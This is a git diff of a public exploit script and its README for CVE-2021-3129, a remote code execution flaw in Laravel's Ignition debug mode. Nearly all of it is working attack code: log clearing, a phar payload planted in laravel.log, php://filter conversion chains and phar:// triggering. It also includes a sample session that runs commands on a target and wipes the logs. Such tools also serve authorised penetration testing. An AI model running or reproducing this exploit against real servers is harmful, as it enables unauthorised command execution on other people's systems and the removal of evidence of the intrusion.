diff --git a/CVE-2021-3129.py b/CVE-2021-3129.py index ea9d13f..d274905 100644 --- a/CVE-2021-3129.py +++ b/CVE-2021-3129.py @@ -110,53 +110,7 @@ def cmd_execute_cmd(self, cmd): i = i+1 print(f"{PURPLE}[@] Trying chain {payload['name']} [{i}/{len(payloads)}]...") - print(BLUE + "[@] Clearing logs...") # Step 1. Clear logs to prevent old payloads executing. - self.exploit_clear_logs() - - print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file. - if self.exploit_cause_error().status_code != 500: - print(RED + "[!] Failed causing error.") - self.exploit_clear_logs() - else: - print(GREEN + "[โˆš] Caused error in logs.") - - print(BLUE + "[@] Sending payloads...") - - if self.exploit_request(payload['data'], - 500).status_code != 500: # Step 3. Cause error with payload so payload in log file. - print(RED + "[!] Failed sending payload.") - self.exploit_clear_logs() - else: - print(GREEN + "[โˆš] Sent payload.") - - print(BLUE + "[@] Converting payload...") # Step 4. Change te log file into the payload in the log file. - if (self.exploit_request( - f"php://filter/read=convert.quoted-printable-decode|" - f"convert.iconv.utf-16le.utf-8|" - f"convert.base64-decode/resource={self.log_path}", - 200).status_code != 200): - print(RED + "[!] Failed converting payload.") - self.exploit_clear_logs() - else: - print(GREEN + "[โˆš] Converted payload.") - - exploited = self.exploit_request(f"phar://{self.log_path}", 500) # Step 5. Let host execute phar script. - if exploited.status_code == 500 and "cannot be empty" in exploited.text: - print(GREEN + "[โˆš] Result:") - result = exploited.text.split("")[1] - print(END + result) - - print(BLUE + "[@] Clearing logs...") # Step 6. Remove logs so phar is not downloadable/executable. - else: - error_search = r"๐Ÿงจ (.*?)<\/title>" - error_result = re.search(error_search, exploited.text) - if error_result: - print(RED + f"[!] Failed execution of payload.\nError: \"{error_result[1]}\".") - else: - print(RED + "[!] Failed execution of payload.") - - self.exploit_clear_logs() - self.exploit_clear_logs() + self.exploit_execute(payload['data']) if i < len(payloads): next_chain = input(PURPLE + "[?] Do you want to try the next chain? [Y/N] : ") @@ -165,7 +119,6 @@ def cmd_execute_cmd(self, cmd): else: break - def cmd_execute_write(self, text): print(DARKCYAN + f"[@] Writing to log file: \"{text}\"...") payload = self.generate_write_payload(text, 16) @@ -202,6 +155,60 @@ def exploit_clear_logs(self) -> requests.Response: # Clear entire log file def exploit_cause_error(self) -> requests.Response: # Cause error by sending path parameter return self.exploit_request("AA", 500) + def exploit_execute(self, payload): + success = True + print(BLUE + "[@] Clearing logs...") # Step 1. Clear logs to prevent old payloads executing. + self.exploit_clear_logs() + + print(BLUE + "[@] Causing error in logs...") # Step 2. Cause a error to write phar file. + if self.exploit_cause_error().status_code != 500: + print(RED + "[!] Failed causing error.") + self.exploit_clear_logs() + success = False + else: + print(GREEN + "[โˆš] Caused error in logs.") + + print(BLUE + "[@] Sending payloads...") + + if self.exploit_request(payload, 500).status_code != 500: # Step 3. Cause error with payload so payload in log file. + print(RED + "[!] Failed sending payload.") + self.exploit_clear_logs() + success = False + else: + print(GREEN + "[โˆš] Sent payload.") + + print(BLUE + "[@] Converting payload...") # Step 4. Change te log file into the payload in the log file. + if (self.exploit_request( + f"php://filter/read=convert.quoted-printable-decode|" + f"convert.iconv.utf-16le.utf-8|" + f"convert.base64-decode/resource={self.log_path}", + 200).status_code != 200): + print(RED + "[!] Failed converting payload.") + self.exploit_clear_logs() + success = False + else: + print(GREEN + "[โˆš] Converted payload.") + + exploited = self.exploit_request(f"phar://{self.log_path}", 500) # Step 5. Let host execute phar script. + if exploited.status_code == 500 and "cannot be empty" in exploited.text: + print(GREEN + "[โˆš] Result:") + result = exploited.text.split("</html>")[1] + print(END + result) + else: + error_search = r"<title>๐Ÿงจ (.*?)<\/title>" + error_result = re.search(error_search, exploited.text) + if error_result: + print(RED + f"[!] Failed execution of payload.\nError: \"{error_result[1]}\".") + success = False + else: + print(RED + "[!] Failed execution of payload.") + success = False + + self.exploit_clear_logs() + self.exploit_clear_logs() + + return success + def random_useragent(self) -> str: # Get random user agent from constant list return random.choice(USER_AGENTS) @@ -410,7 +417,7 @@ def find_laravel_version(self, content: str): def validate_url(url: str) -> bool: # https://stackoverflow.com/a/7160778 regex = re.compile( - r'^(?:http|ftp)s?://' # http:// or https:// + r'^(?:http)s?://' # http:// or https:// r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain... r'localhost|' # localhost... r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip diff --git a/README.md b/README.md index 02cf023..ae8753b 100644 --- a/README.md +++ b/README.md @@ -7,90 +7,78 @@ This script allows you to write/execute commands on a website running <b>Laravel It currently has support for <b>searching the log file</b>, <b>executing commands</b>, <b>writing to the log file</b>, and support for <b>clearing log files</b>. ## Setup -``` +```bash $ git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git $ cd CVE-2021-3129 -# pip install -r requirements.txt -# python3 CVE-2021-3129.py --help +$ pip install -r requirements.txt +$ python3 CVE-2021-3129.py --help ``` ## Options -``` -usage: CVE-2021-3129.py [-h] [--host HOST] [--force] [--log LOG] [--ua] - [--chain CHAIN] [--chains] [--php PHP] +```bash +usage: CVE-2021-3129.py [-h] [--host HOST] [--force] [--log LOG] [--ua] [--chain CHAIN] [--chains] [--php PHP] Exploit CVE-2021-3129 - Laravel vulnerability exploit script -optional arguments: +options: -h, --help show this help message and exit --host HOST Host URL to use exploit on --force Force exploit without checking if vulnerable - --log LOG Full path to laravel.log file (e.g. - /var/www/html/storage/logs/laravel.log) + --log LOG Full path to laravel.log file (e.g. /var/www/html/storage/logs/laravel.log) --ua Randomize User-Agent for requests - --chain CHAIN Select PHPGGC chain. Use "--chains" parameter to view all - available chains. + --chain CHAIN Select PHPGGC chain. Use "--chains" parameter to view all available chains. --chains View available chains for the "--chain" parameter --php PHP Path to PHP executable ``` ## Example -``` -$ python3 CVE-2021-3129.py --host http://127.0.0.1/public/ +```bash +$ python3 CVE-2021-3129.py --host="http://0.0.0.0/" Laravel Debug Mode CVE script -[โ€ข] Made by: https://jvdpoll.nl -[@] Starting exploit on "http://127.0.0.1/public/"... -[@] Testing vulnerable URL http://127.0.0.1/public/_ignition/execute-solution... +[โ€ข] Made by: https://github.com/joshuavanderpoll/CVE-2021-3129 +[โ€ข] Using PHPGGC: https://github.com/ambionics/phpggc +[@] Starting exploit on "http://0.0.0.0/"... +[@] Testing vulnerable URL http://0.0.0.0/_ignition/execute-solution... [โˆš] Host seems vulnerable! [@] Searching Laravel log file path... -[โ€ข] Log path found: "/home/laravel/web/storage/logs/laravel.log" -[โ€ข] Laravel log found: "/home/laravel/web/storage/logs/laravel.log". -[โ€ข] Laravel version found: "7.22.4". -[โˆš] Laravel log file set to "/home/laravel/web/storage/logs/laravel.log". +[โ€ข] Laravel seems to be running on a Windows based machine. +[โˆš] Laravel log found: "C:\inetpub\wwwroot\Laravel_RCE_POC\storage\logs\laravel.log". +[โ€ข] Laravel version found: "7.30.4". [โ€ข] Use "?" for a list of all possible actions. -[?] Please enter a command to execute: help -[โ€ข] Available commands: - exit - Exit program. - help - Shows available commands. - clear_logs - Clears Laravel logs. - execute <command> - Execute system command. - write <command> - Write to log file. -[?] Please enter a command to execute: execute ls /home/laravel/web/ -[@] Executing command "ls /home/laravel/web/"... -[@] Generating payload... -[โˆš] Generated payload. +[?] Please enter a command to execute: execute whoami +[@] Executing command "whoami"... +[@] Generating payloads... +[โˆš] Generated 12 payloads. +[@] Trying chain laravel/rce1 [1/12]... +[@] Clearing logs... +[@] Causing error in logs... +[โˆš] Caused error in logs. +[@] Sending payloads... +[โˆš] Sent payload. +[@] Converting payload... +[โˆš] Converted payload. +[!] Failed execution of payload. +Error: "file_get_contents(phar://C:\inetpub\wwwroot\Laravel_RCE_POC\storage\logs\laravel.log): failed to open stream: internal corruption of phar &quot;C:\inetpub\wwwroot\Laravel_RCE_POC\storage\logs\laravel.log&quot; (truncated entry)". +[?] Do you want to try the next chain? [Y/N] : y +... +[@] Trying chain laravel/rce8 [6/12]... [@] Clearing logs... -[โˆš] Cleared logs. [@] Causing error in logs... [โˆš] Caused error in logs. -[@] Sending payload... +[@] Sending payloads... [โˆš] Sent payload. [@] Converting payload... [โˆš] Converted payload. [โˆš] Result: -README.md -app -artisan -bootstrap -composer.json -composer.lock -config -database -package.json -phpunit.xml -public -resources -routes -server.php -storage -tests -vendor -webpack.mix.js +autorite nt\iusr [@] Clearing logs... -[โˆš] Cleared logs. +[?] Do you want to try the next chain? [Y/N] : n +[?] Please enter a command to execute: clear_logs +[@] Clearing Laravel logs... +[โˆš] Cleared Laravel logs! ``` ## Credits -- [PHPGGC](https://github.com/ambionics/phpggc) \ No newline at end of file +- [PHPGGC](https://github.com/ambionics/phpggc)